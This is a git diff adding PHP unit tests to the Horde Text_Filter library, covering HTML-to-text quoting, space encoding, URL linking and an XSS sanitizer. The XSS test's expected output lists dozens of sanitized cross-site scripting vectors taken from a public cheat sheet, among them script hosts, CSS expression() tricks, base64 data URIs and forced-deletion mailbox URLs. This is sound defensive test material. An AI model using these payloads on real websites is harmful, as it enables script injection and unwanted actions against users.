+a long line. This is a long line. This is a long
+line. This is a long line. This is a long line.
+This is a long line. This is a long line. This is
+a long line.
+  * And again a short line.
+
+
+
+  * This is a short line.
+  * This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line. This is a long line.
+  * And again a short line.
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/html2text3.phpt b/framework/Text_Filter/test/Horde/Text/Filter/html2text3.phpt
new file mode 100644 (file)
index 0000000..f6c8186
--- /dev/null
@@ -0,0 +1,68 @@
+--TEST--
+Horde_Text_Filter_Html2text quoting test
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Html2text.php';
+$html = <<<EOT
+<p>Zitat von Roberto Maurizzi &lt;roberto.maurizzi@gmail.com&gt;:</p>
+  <blockquote type="cite">
+    <div class="gmail_quote">
+      <blockquote style="border-left: 1px solid #cccccc; margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;" class="gmail_quote">
+        <blockquote style="border-left: 1px solid #cccccc; margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;" class="gmail_quote"> 
+          <div class="Ih2E3d">
+            <blockquote style="border-left: 1px solid #cccccc; margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;" class="gmail_quote">4) In Turba, I can select a VFS driver to use. Currently it is set to<br />
+
+None and turba seems to be working fine. What does Turba use the VFS<br />
+for?<br /> </blockquote> 
+          </div>
+        </blockquote><br />
+You can attach files to contacts with that.<br /> <br />
+Jan.<br /><font color="#888888"> </font>
+      </blockquote>
+      <div><br /></div>
+    </div>Anything similar for Kronolith, maybe in the new version?<br />I've googled a little and only found a discussion in 2004 about having attachment (or links) from VFS in Kronolith.<br />
+I'd really like to be able to attach all my taxes forms to the day I have to pay them ;-) and more in general all the extra documentation regarding an appointment.<br /><br />Ciao,<br />&nbsp; Roberto<br /><br /> 
+  </blockquote> 
+  <p>Some unquoted line with single ' quotes.</p>
+  <p class="imp-signature"><!--begin_signature-->Jan.<br /> <br />
+-- <br />
+Do you need professional PHP or Horde consulting?<br /> <a target="_blank" href="http://horde.org/consulting/">http://horde.org/consulting/</a><!--end_signature--></p>
+EOT;
+echo Horde_Text_Filter::filter($html, 'html2text');
+
+?>
+--EXPECT--
+Zitat von Roberto Maurizzi <roberto.maurizzi@gmail.com>: 
+
+> > > > 4) In Turba, I can select a VFS driver to use. Currently it
+is
+> > set
+> > > > to
+> > > > None and turba seems to be working fine. What does Turba use
+> > the
+> > > > VFS
+> > > > for?
+> >
+> > You can attach files to contacts with that.
+> >
+> > Jan.
+>
+> Anything similar for Kronolith, maybe in the new version?
+> I've googled a little and only found a discussion in 2004 about
+> having attachment (or links) from VFS in Kronolith.
+> I'd really like to be able to attach all my taxes forms to the day
+> I have to pay them ;-) and more in general all the extra
+> documentation regarding an appointment.
+>
+> Ciao,
+>   Roberto
+
+Some unquoted line with single ' quotes. 
+
+Jan.
+
+-- 
+Do you need professional PHP or Horde consulting?
+http://horde.org/consulting/
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/space2html.phpt b/framework/Text_Filter/test/Horde/Text/Filter/space2html.phpt
new file mode 100644 (file)
index 0000000..27d54a3
--- /dev/null
@@ -0,0 +1,28 @@
+--TEST--
+Horde_Text_Filter_Space2html tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/space2html.php';
+
+$spaces = array('x x', 'x  x', 'x   x', 'x     x', 'x          x');
+foreach ($spaces as $space) {
+    echo Horde_Text_Filter::filter($space, 'space2html', array('encode_all' => false));
+    echo "\n";
+    echo Horde_Text_Filter::filter($space, 'space2html', array('encode_all' => true));
+    echo "\n";
+}
+
+?>
+--EXPECT--
+x x
+x&nbsp;x
+x&nbsp; x
+x&nbsp;&nbsp;x
+x&nbsp; &nbsp;x
+x&nbsp;&nbsp;&nbsp;x
+x&nbsp; &nbsp; &nbsp; &nbsp; x
+x&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x
+x&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x
+x&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/text2html.phpt b/framework/Text_Filter/test/Horde/Text/Filter/text2html.phpt
new file mode 100644 (file)
index 0000000..7fb4aff
--- /dev/null
@@ -0,0 +1,86 @@
+--TEST--
+Horde_Text_Filter_Text2html tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Text2html.php';
+
+$_COOKIE[session_name()] = true;
+$text = file_get_contents(dirname(__FILE__) . '/fixtures/text2html.txt');
+$params = array('class' => null);
+$levels = array(Horde_Text_Filter_Text2html::PASSTHRU,
+                Horde_Text_Filter_Text2html::SYNTAX,
+                Horde_Text_Filter_Text2html::MICRO,
+                Horde_Text_Filter_Text2html::MICRO_LINKURL,
+                Horde_Text_Filter_Text2html::NOHTML,
+                Horde_Text_Filter_Text2html::NOHTML_NOBREAK);
+
+foreach ($levels as $level) {
+    $params['parselevel'] = $level;
+    echo Horde_Text_Filter::filter($text, 'text2html', $params);
+    echo "-------------------------------------------------\n";
+}
+
+?>
+--EXPECT--
+http://www.horde.org/foo/
+https://jan:secret@www.horde.org/foo/
+mailto:jan@example.com
+svn+ssh://jan@svn.example.com/path/
+<tag>foo</tag>
+<http://css.maxdesign.com.au/listamatic/>
+http://www.horde.org/?foo=bar&baz=qux
+http://www.<alert>.horde.org/
+http://www.&#x32;.horde.org/
+-------------------------------------------------
+<a href="http://www.horde.org/foo/" target="_blank">http://www.horde.org/foo/</a><br />
+<a href="https://jan:secret@www.horde.org/foo/" target="_blank">https://jan:secret@www.horde.org/foo/</a><br />
+mailto:<a href="mailto:jan@example.com" title="New Message to jan@example.com">jan@example.com</a><br />
+<a href="svn+ssh://jan@svn.example.com/path/" target="_blank">svn+ssh://jan@svn.example.com/path/</a><br />
+&lt;tag&gt;foo&lt;/tag&gt;<br />
+&lt;<a href="http://css.maxdesign.com.au/listamatic/" target="_blank">http://css.maxdesign.com.au/listamatic/</a>&gt;<br />
+<a href="http://www.horde.org/?foo=bar&amp;baz=qux" target="_blank">http://www.horde.org/?foo=bar&amp;baz=qux</a><br />
+<a href="http://www" target="_blank">http://www</a>.&lt;alert&gt;.horde.org/<br />
+<a href="http://www.&amp;#x32;.horde.org/" target="_blank">http://www.&amp;#x32;.horde.org/</a><br />
+-------------------------------------------------
+<a href="http://www.horde.org/foo/" target="_blank">http://www.horde.org/foo/</a><br />
+<a href="https://jan:secret@www.horde.org/foo/" target="_blank">https://jan:secret@www.horde.org/foo/</a><br />
+mailto:<a href="mailto:jan@example.com" title="New Message to jan@example.com">jan@example.com</a><br />
+<a href="svn+ssh://jan@svn.example.com/path/" target="_blank">svn+ssh://jan@svn.example.com/path/</a><br />
+&lt;tag&gt;foo&lt;/tag&gt;<br />
+&lt;<a href="http://css.maxdesign.com.au/listamatic/" target="_blank">http://css.maxdesign.com.au/listamatic/</a>&gt;<br />
+<a href="http://www.horde.org/?foo=bar&amp;baz=qux" target="_blank">http://www.horde.org/?foo=bar&amp;baz=qux</a><br />
+<a href="http://www" target="_blank">http://www</a>.&lt;alert&gt;.horde.org/<br />
+<a href="http://www.&amp;#x32;.horde.org/" target="_blank">http://www.&amp;#x32;.horde.org/</a><br />
+-------------------------------------------------
+<a href="http://www.horde.org/foo/" target="_blank">http://www.horde.org/foo/</a><br />
+<a href="https://jan:secret@www.horde.org/foo/" target="_blank">https://jan:secret@www.horde.org/foo/</a><br />
+mailto:jan@example.com<br />
+<a href="svn+ssh://jan@svn.example.com/path/" target="_blank">svn+ssh://jan@svn.example.com/path/</a><br />
+&lt;tag&gt;foo&lt;/tag&gt;<br />
+&lt;<a href="http://css.maxdesign.com.au/listamatic/" target="_blank">http://css.maxdesign.com.au/listamatic/</a>&gt;<br />
+<a href="http://www.horde.org/?foo=bar&amp;baz=qux" target="_blank">http://www.horde.org/?foo=bar&amp;baz=qux</a><br />
+<a href="http://www" target="_blank">http://www</a>.&lt;alert&gt;.horde.org/<br />
+<a href="http://www.&amp;#x32;.horde.org/" target="_blank">http://www.&amp;#x32;.horde.org/</a><br />
+-------------------------------------------------
+http://www.horde.org/foo/<br />
+https://jan:secret@www.horde.org/foo/<br />
+mailto:jan@example.com<br />
+svn+ssh://jan@svn.example.com/path/<br />
+&lt;tag&gt;foo&lt;/tag&gt;<br />
+&lt;http://css.maxdesign.com.au/listamatic/&gt;<br />
+http://www.horde.org/?foo=bar&amp;baz=qux<br />
+http://www.&lt;alert&gt;.horde.org/<br />
+http://www.&amp;#x32;.horde.org/<br />
+-------------------------------------------------
+http://www.horde.org/foo/
+https://jan:secret@www.horde.org/foo/
+mailto:jan@example.com
+svn+ssh://jan@svn.example.com/path/
+&lt;tag&gt;foo&lt;/tag&gt;
+&lt;http://css.maxdesign.com.au/listamatic/&gt;
+http://www.horde.org/?foo=bar&amp;baz=qux
+http://www.&lt;alert&gt;.horde.org/
+http://www.&amp;#x32;.horde.org/
+-------------------------------------------------
diff --git a/framework/Text_Filter/test/Horde/Text/Filter/xss.phpt b/framework/Text_Filter/test/Horde/Text/Filter/xss.phpt
new file mode 100644 (file)
index 0000000..d9f4259
--- /dev/null
@@ -0,0 +1,242 @@
+--TEST--
+Horde_Text_Filter_Xss tests
+--FILE--
+<?php
+
+/* Test cases from http://ha.ckers.org/xss.html */
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Xss.php';
+
+foreach (glob(dirname(__FILE__) . '/fixtures/xss*.html') as $file) {
+    $data = file_get_contents($file);
+    echo basename($file) . "\n";
+    echo Horde_Text_Filter::filter($data, 'xss', array('body_only' => false));
+}
+
+foreach (glob(dirname(__FILE__) . '/fixtures/style_xss*.html') as $file) {
+    $data = file_get_contents($file);
+    echo basename($file) . "\n";
+    echo Horde_Text_Filter::filter($data, 'xss', array('body_only' => false, 'strip_styles' => false));
+}
+
+?>
+--EXPECT--
+xss01.html
+<XSSCleaned_script />
+xss02.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss03.html
+<IMG SRC=XSSCleanedalert('XSS')>
+xss04.html
+<IMG SRC=XSSCleanedalert('XSS')>
+xss05.html
+<IMG SRC=XSSCleanedalert(&quot;XSS&quot;)>
+xss06.html
+<IMG SRC=XSSCleanedalert("RSnake says, 'XSS'")`>
+xss07.html
+<IMG """><XSSCleaned_script />">
+xss08.html
+<IMG SRC=XSSCleanedalert(String.fromCharCode(88,83,83))>
+xss09.html
+<IMG SRC=XSSCleaned&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>
+xss10.html
+<IMG SRC=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;>
+xss100.html
+<img src='blank.jpg' XSSCleaned='width:expression(alert("xssed"))'>
+xss11.html
+<IMG SRC=XSSCleaned&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
+xss12.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss13.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss14.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss15.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss16.html
+<IMG
+SRC
+=XSSCleaned
+a
+l
+e
+r
+t
+(
+'
+X
+S
+S
+'
+)
+"
+>
+xss17.html
+<IMG SRC=XSSCleanedalert("XSS")>
+xss18.html
+<XSSCleaned_script />
+xss19.html
+<IMG SRC="XSSCleanedalert('XSS');">
+xss20.html
+<XSSCleaned_script />
+xss21.html
+<BODY onloadXSSCleaned=alert("XSS")>
+xss22.html
+<XSSCleaned_script />
+xss23.html
+<<XSSCleaned_script />
+xss24.html
+<XSSCleaned_tag SRC=http://ha.ckers.org/xss.js?<B>
+xss25.html
+<XSSCleaned_tag SRC=//ha.ckers.org/.j>
+xss26.html
+<IMG SRC="XSSCleanedalert('XSS')"
+xss27.html
+<XSSCleaned_tag src=http://ha.ckers.org/scriptlet.html <
+xss28.html
+<XSSCleaned_script />
+xss29.html
+</TITLE><XSSCleaned_script />
+xss30.html
+<INPUT TYPE="XSSCleanedalert('XSS');">
+xss31.html
+<BODY BACKGROUND="XSSCleanedalert('XSS')">
+xss32.html
+<BODY ONLOADXSSCleaned=alert('XSS')>
+xss33.html
+<IMG DYNSRC="XSSCleanedalert('XSS')">
+xss34.html
+<IMG LOWSRC="XSSCleanedalert('XSS')">
+xss35.html
+<BGSOUND SRC="XSSCleanedalert('XSS');">
+xss36.html
+<BR SIZE="&{;}">
+xss37.html
+<XSSCleaned_tag SRC="http://ha.ckers.org/scriptlet.html"></XSSCleaned_tag>
+xss38.html
+<!-- <LINK REL="XSSCleanedalert('XSS');"> -->
+xss39.html
+<!-- <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> -->
+xss40.html
+<!--@import'http://ha.ckers.org/xss.css';-->
+xss41.html
+<XSSCleaned_tag HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
+xss42.html
+<!--BODY{-moz-XSSCleaned:url("http://ha.ckers.org/xssmoz.xml#xss")}-->
+xss43.html
+<XSS XSSCleaned="behavior: url(xss.htc);">
+xss44.html
+<!--li {list-style-image: url("XSSCleanedalert('XSS')");}--><UL><LI>XSS
+xss45.html
+<IMG SRC='XSSCleanedmsgbox("XSS")'>
+xss46.html
+<IMG SRC="XSSCleaned:[code]">
+xss47.html
+<IMG SRC="XSSCleaned[code]">
+xss48.html
+<XSSCleaned_tag HTTP-EQUIV="XSSCleanedalert('XSS');">
+xss49.html
+<XSSCleaned_tag HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
+xss50.html
+<XSSCleaned_tag HTTP-EQUIV="XSSCleanedalert('XSS');">
+xss51.html
+<XSSCleaned_tag SRC=XSSCleanedalert('XSS')></XSSCleaned_tag>
+xss52.html
+<XSSCleaned_tagSET><XSSCleaned_tag SRC=XSSCleanedalert('XSS')></XSSCleaned_tag></XSSCleaned_tagSET>
+xss53.html
+<TABLE BACKGROUND="XSSCleanedalert('XSS')">
+xss54.html
+<TABLE><TD BACKGROUND="XSSCleanedalert('XSS')">
+xss55.html
+<DIV XSSCleaned="XSSCleanedalert('XSS'))">
+xss56.html
+<DIV XSSCleaned="XSSCleaned\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
+xss57.html
+<DIV XSSCleaned="XSSCleanedalert('XSS'))">
+xss58.html
+<DIV XSSCleaned="width: expression(alert('XSS'));">
+xss59.html
+<!--@im\port'\ja\vasc\ript:alert("XSS")';-->
+xss60.html
+<IMG XSSCleaned="xss:expr/*XSS*/ession(alert('XSS'))">
+xss61.html
+<XSS XSSCleaned="xss:expression(alert('XSS'))">
+xss62.html
+exp/*<A XSSCleaned='no\xss:noxss("*//*");
+xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
+xss63.html
+<!--alert('XSS');-->
+xss64.html
+<!--.XSS{background-image:url("XSSCleanedalert('XSS')");}--><A CLASS=XSS></A>
+xss65.html
+<!--BODY{background:url("XSSCleanedalert('XSS')")}-->
+xss66.html
+
+xss67.html
+<!-- <BASE HREF="XSSCleanedalert('XSS');//"> -->
+xss68.html
+<XSSCleaned_tag TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></XSSCleaned_tag>
+xss69.html
+<XSSCleaned_tag classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=XSSCleanedalert('XSS')></XSSCleaned_tag>
+xss70.html
+<XSSCleaned_tag SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></XSSCleaned_tag>
+xss71.html
+<XSSCleaned_tag SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></XSSCleaned_tag>
+xss72.html
+<HTML xmlns:xss>
+  <XSSCleaned_tagnamespace="xss" implementation="http://ha.ckers.org/xss.htc">
+  <xss:xss>XSS</xss:xss>
+</HTML>
+xss73.html
+<XSSCleaned_tag ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
+</C></X></XSSCleaned_tag><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
+xss74.html
+<XSSCleaned_tag ID="xss"><I><B>&lt;IMG SRC="XSSCleanedalert('XSS')"&gt;</B></I></XSSCleaned_tag>
+<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
+xss75.html
+<XSSCleaned_tag SRC="xsstest.xml" ID=I></XSSCleaned_tag>
+<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
+xss76.html
+<HTML><BODY>
+<?XSSCleaned_tag:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
+<XSSCleaned_tagnamespace="t" implementation="#default#time2">
+<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;">
+</BODY></HTML>
+xss77.html
+<XSSCleaned_tag SRC="http://ha.ckers.org/xss.jpg"><XSSCleaned_tag>
+xss78.html
+<IMG SRC="XSSCleanedalert('XSS')"
+xss79.html
+<XSSCleaned_script />
+xss80.html
+<XSSCleaned_script />
+xss81.html
+<XSSCleaned_script />
+xss82.html
+<XSSCleaned_script />
+xss83.html
+<XSSCleaned_script />
+xss84.html
+<XSSCleaned_script />
+xss85.html
+<XSSCleaned_script />PT SRC="http://ha.ckers.org/a.js"></XSSCleaned_tag>
+xss97.html
+<body/onloadXSSCleaned=alert(/xss/)>
+xss98.html
+<XSSCleaned_tagset rows="15,15,15,15,15,15,15,15,15,*">
+<XSSCleaned_tag src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=199&amp;indices%5B%5D=200&amp;indices%5B%5D=201&amp;indices%5B%5D=202&amp;indices%5B%5D=203&amp;indices%5B%5D=204&amp;indices%5B%5D=205&amp;indices%5B%5D=206&amp;indices%5B%5D=207&amp;indices%5B%5D=208&amp;indices%5B%5D=209&amp;indices%5B%5D=210&amp;indices%5B%5D=211&amp;indices%5B%5D=212&amp;indices%5B%5D=213&amp;indices%5B%5D=214&amp;indices%5B%5D=215&amp;indices%5B%5D=216&amp;indices%5B%5D=217&amp;indices%5B%5D=218&amp;indices%5B%5D=219&amp;indices%5B%5D=220&amp;indices%5B%5D=221&amp;indices%5B%5D=222&amp;indices%5B%5D=223&amp;indices%5B%5D=224&amp;indices%5B%5D=225&amp;indices%5B%5D=226&amp;indices%5B%5D=227&amp;indices%5B%5D=228&amp;indices%5B%5D=229&amp;indices%5B%5D=230&amp;indices%5B%5D=231&amp;indices%5B%5D=232&amp;indices%5B%5D=233&amp;indices%5B%5D=234&amp;indices%5B%5D=235&amp;indices%5B%5D=236&amp;indices%5B%5D=237&amp;indices%5B%5D=238&amp;indices%5B%5D=239&amp;indices%5B%5D=240&amp;indices%5B%5D=241&amp;indices%5B%5D=242&amp;indices%5B%5D=243&amp;indices%5B%5D=244&amp;indices%5B%5D=245&amp;indices%5B%5D=246&amp;indices%5B%5D=247&amp;indices%5B%5D=248&amp;indices%5B%5D=249&amp;indices%5B%5D=250&amp;indices%5B%5D=251&amp;indices%5B%5D=252&amp;indices%5B%5D=253&amp;indices%5B%5D=254&amp;indices%5B%5D=255&amp;indices%5B%5D=256&amp;indices%5B%5D=257&amp;indices%5B%5D=258&amp;indices%5B%5D=259&amp;indices%5B%5D=260&amp;indices%5B%5D=261&amp;indices%5B%5D=262&amp;indices%5B%5D=263&amp;indices%5B%5D=264&amp;indices%5B%5D=265&amp;indices%5B%5D=266&amp;indices%5B%5D=267&amp;indices%5B%5D=268&amp;indices%5B%5D=269&amp;indices%5B%5D=270&amp;indices%5B%5D=271&amp;indices%5B%5D=272&amp;indices%5B%5D=273&amp;indices%5B%5D=274&amp;indices%5B%5D=275&amp;indices%5B%5D=276&amp;indices%5B%5D=277&amp;indices%5B%5D=278&amp;indices%5B%5D=279&amp;indices%5B%5D=280&amp;indices%5B%5D=281&amp;indices%5B%5D=282&amp;indices%5B%5D=283&amp;indices%5B%5D=284&amp;indices%5B%5D=285&amp;indices%5B%5D=286&amp;indices%5B%5D=287&amp;indices%5B%5D=288&amp;indices%5B%5D=289&amp;indices%5B%5D=290&amp;indices%5B%5D=291&amp;indices%5B%5D=292&amp;indices%5B%5D=293&amp;indices%5B%5D=294&amp;indices%5B%5D=295&amp;indices%5B%5D=296&amp;indices%5B%5D=297&amp;indices%5B%5D=298">
+<XSSCleaned_tag src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=299&amp;indices%5B%5D=300&amp;indices%5B%5D=301&amp;indices%5B%5D=302&amp;indices%5B%5D=303&amp;indices%5B%5D=304&amp;indices%5B%5D=305&amp;indices%5B%5D=306&amp;indices%5B%5D=307&amp;indices%5B%5D=308&amp;indices%5B%5D=309&amp;indices%5B%5D=310&amp;indices%5B%5D=311&amp;indices%5B%5D=312&amp;indices%5B%5D=313&amp;indices%5B%5D=314&amp;indices%5B%5D=315&amp;indices%5B%5D=316&amp;indices%5B%5D=317&amp;indices%5B%5D=318&amp;indices%5B%5D=319&amp;indices%5B%5D=320&amp;indices%5B%5D=321&amp;indices%5B%5D=322&amp;indices%5B%5D=323&amp;indices%5B%5D=324&amp;indices%5B%5D=325&amp;indices%5B%5D=326&amp;indices%5B%5D=327&amp;indices%5B%5D=328&amp;indices%5B%5D=329&amp;indices%5B%5D=330&amp;indices%5B%5D=331&amp;indices%5B%5D=332&amp;indices%5B%5D=333&amp;indices%5B%5D=334&amp;indices%5B%5D=335&amp;indices%5B%5D=336&amp;indices%5B%5D=337&amp;indices%5B%5D=338&amp;indices%5B%5D=339&amp;indices%5B%5D=340&amp;indices%5B%5D=341&amp;indices%5B%5D=342&amp;indices%5B%5D=343&amp;indices%5B%5D=344&amp;indices%5B%5D=345&amp;indices%5B%5D=346&amp;indices%5B%5D=347&amp;indices%5B%5D=348&amp;indices%5B%5D=349&amp;indices%5B%5D=350&amp;indices%5B%5D=351&amp;indices%5B%5D=352&amp;indices%5B%5D=353&amp;indices%5B%5D=354&amp;indices%5B%5D=355&amp;indices%5B%5D=356&amp;indices%5B%5D=357&amp;indices%5B%5D=358&amp;indices%5B%5D=359&amp;indices%5B%5D=360&amp;indices%5B%5D=361&amp;indices%5B%5D=362&amp;indices%5B%5D=363&amp;indices%5B%5D=364&amp;indices%5B%5D=365&amp;indices%5B%5D=366&amp;indices%5B%5D=367&amp;indices%5B%5D=368&amp;indices%5B%5D=369&amp;indices%5B%5D=370&amp;indices%5B%5D=371&amp;indices%5B%5D=372&amp;indices%5B%5D=373&amp;indices%5B%5D=374&amp;indices%5B%5D=375&amp;indices%5B%5D=376&amp;indices%5B%5D=377&amp;indices%5B%5D=378&amp;indices%5B%5D=379&amp;indices%5B%5D=380&amp;indices%5B%5D=381&amp;indices%5B%5D=382&amp;indices%5B%5D=383&amp;indices%5B%5D=384&amp;indices%5B%5D=385&amp;indices%5B%5D=386&amp;indices%5B%5D=387&amp;indices%5B%5D=388&amp;indices%5B%5D=389&amp;indices%5B%5D=390&amp;indices%5B%5D=391&amp;indices%5B%5D=392&amp;indices%5B%5D=393&amp;indices%5B%5D=394&amp;indices%5B%5D=395&amp;indices%5B%5D=396&amp;indices%5B%5D=397&amp;indices%5B%5D=398">
+<XSSCleaned_tag src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=399&amp;indices%5B%5D=400&amp;indices%5B%5D=401&amp;indices%5B%5D=402&amp;indices%5B%5D=403&amp;indices%5B%5D=404&amp;indices%5B%5D=405&amp;indices%5B%5D=406&amp;indices%5B%5D=407&amp;indices%5B%5D=408&amp;indices%5B%5D=409&amp;indices%5B%5D=410&amp;indices%5B%5D=411&amp;indices%5B%5D=412&amp;indices%5B%5D=413&amp;indices%5B%5D=414&amp;indices%5B%5D=415&amp;indices%5B%5D=416&amp;indices%5B%5D=417&amp;indices%5B%5D=418&amp;indices%5B%5D=419&amp;indices%5B%5D=420&amp;indices%5B%5D=421&amp;indices%5B%5D=422&amp;indices%5B%5D=423&amp;indices%5B%5D=424&amp;indices%5B%5D=425&amp;indices%5B%5D=426&amp;indices%5B%5D=427&amp;indices%5B%5D=428&amp;indices%5B%5D=429&amp;indices%5B%5D=430&amp;indices%5B%5D=431&amp;indices%5B%5D=432&amp;indices%5B%5D=433&amp;indices%5B%5D=434&amp;indices%5B%5D=435&amp;indices%5B%5D=436&amp;indices%5B%5D=437&amp;indices%5B%5D=438&amp;indices%5B%5D=439&amp;indices%5B%5D=440&amp;indices%5B%5D=441&amp;indices%5B%5D=442&amp;indices%5B%5D=443&amp;indices%5B%5D=444&amp;indices%5B%5D=445&amp;indices%5B%5D=446&amp;indices%5B%5D=447&amp;indices%5B%5D=448&amp;indices%5B%5D=449&amp;indices%5B%5D=450&amp;indices%5B%5D=451&amp;indices%5B%5D=452&amp;indices%5B%5D=453&amp;indices%5B%5D=454&amp;indices%5B%5D=455&amp;indices%5B%5D=456&amp;indices%5B%5D=457&amp;indices%5B%5D=458&amp;indices%5B%5D=459&amp;indices%5B%5D=460&amp;indices%5B%5D=461&amp;indices%5B%5D=462&amp;indices%5B%5D=463&amp;indices%5B%5D=464&amp;indices%5B%5D=465&amp;indices%5B%5D=466&amp;indices%5B%5D=467&amp;indices%5B%5D=468&amp;indices%5B%5D=469&amp;indices%5B%5D=470&amp;indices%5B%5D=471&amp;indices%5B%5D=472&amp;indices%5B%5D=473&amp;indices%5B%5D=474&amp;indices%5B%5D=475&amp;indices%5B%5D=476&amp;indices%5B%5D=477&amp;indices%5B%5D=478&amp;indices%5B%5D=479&amp;indices%5B%5D=480&amp;indices%5B%5D=481&amp;indices%5B%5D=482&amp;indices%5B%5D=483&amp;indices%5B%5D=484&amp;indices%5B%5D=485&amp;indices%5B%5D=486&amp;indices%5B%5D=487&amp;indices%5B%5D=488&amp;indices%5B%5D=489&amp;indices%5B%5D=490&amp;indices%5B%5D=491&amp;indices%5B%5D=492&amp;indices%5B%5D=493&amp;indices%5B%5D=494&amp;indices%5B%5D=495&amp;indices%5B%5D=496&amp;indices%5B%5D=497&amp;indices%5B%5D=498">
+<XSSCleaned_tag src="mailbox.php?page=1&amp;actionID=delete_messages&amp;targetMbox=&amp;newMbox=0&amp;flag=&amp;indices%5B%5D=499&amp;indices%5B%5D=500&amp;indices%5B%5D=501&amp;indices%5B%5D=502&amp;indices%5B%5D=503&amp;indices%5B%5D=504&amp;indices%5B%5D=505&amp;indices%5B%5D=506&amp;indices%5B%5D=507&amp;indices%5B%5D=508&amp;indices%5B%5D=509&amp;indices%5B%5D=510&amp;indices%5B%5D=511&amp;indices%5B%5D=512&amp;indices%5B%5D=513&amp;indices%5B%5D=514&amp;indices%5B%5D=515&amp;indices%5B%5D=516&amp;indices%5B%5D=517&amp;indices%5B%5D=518&amp;indices%5B%5D=519&amp;indices%5B%5D=520&amp;indices%5B%5D=521&amp;indices%5B%5D=522&amp;indices%5B%5D=523&amp;indices%5B%5D=524&amp;indices%5B%5D=525&amp;indices%5B%5D=526&amp;indices%5B%5D=527&amp;indices%5B%5D=528&amp;indices%5B%5D=529&amp;indices%5B%5D=530&amp;indices%5B%5D=531&amp;indices%5B%5D=532&amp;indices%5B%5D=533&amp;indices%5B%5D=534&amp;indices%5B%5D=535&amp;indices%5B%5D=536&amp;indices%5B%5D=537&amp;indices%5B%5D=538&amp;indices%5B%5D=539&amp;indices%5B%5D=540&amp;indices%5B%5D=541&amp;indices%5B%5D=542&amp;indices%5B%5D=543&amp;indices%5B%5D=544&amp;indices%5B%5D=545&amp;indices%5B%5D=546&amp;indices%5B%5D=547&amp;indices%5B%5D=548&amp;indices%5B%5D=549&amp;indices%5B%5D=550&amp;indices%5B%5D=551&amp;indices%5B%5D=552&amp;indices%5B%5D=553&amp;indices%5B%5D=554&amp;indices%5B%5D=555&amp;indices%5B%5D=556&amp;indices%5B%5D=557&amp;indices%5B%5D=558&amp;indices%5B%5D=559&amp;indices%5B%5D=560&amp;indices%5B%5D=561&a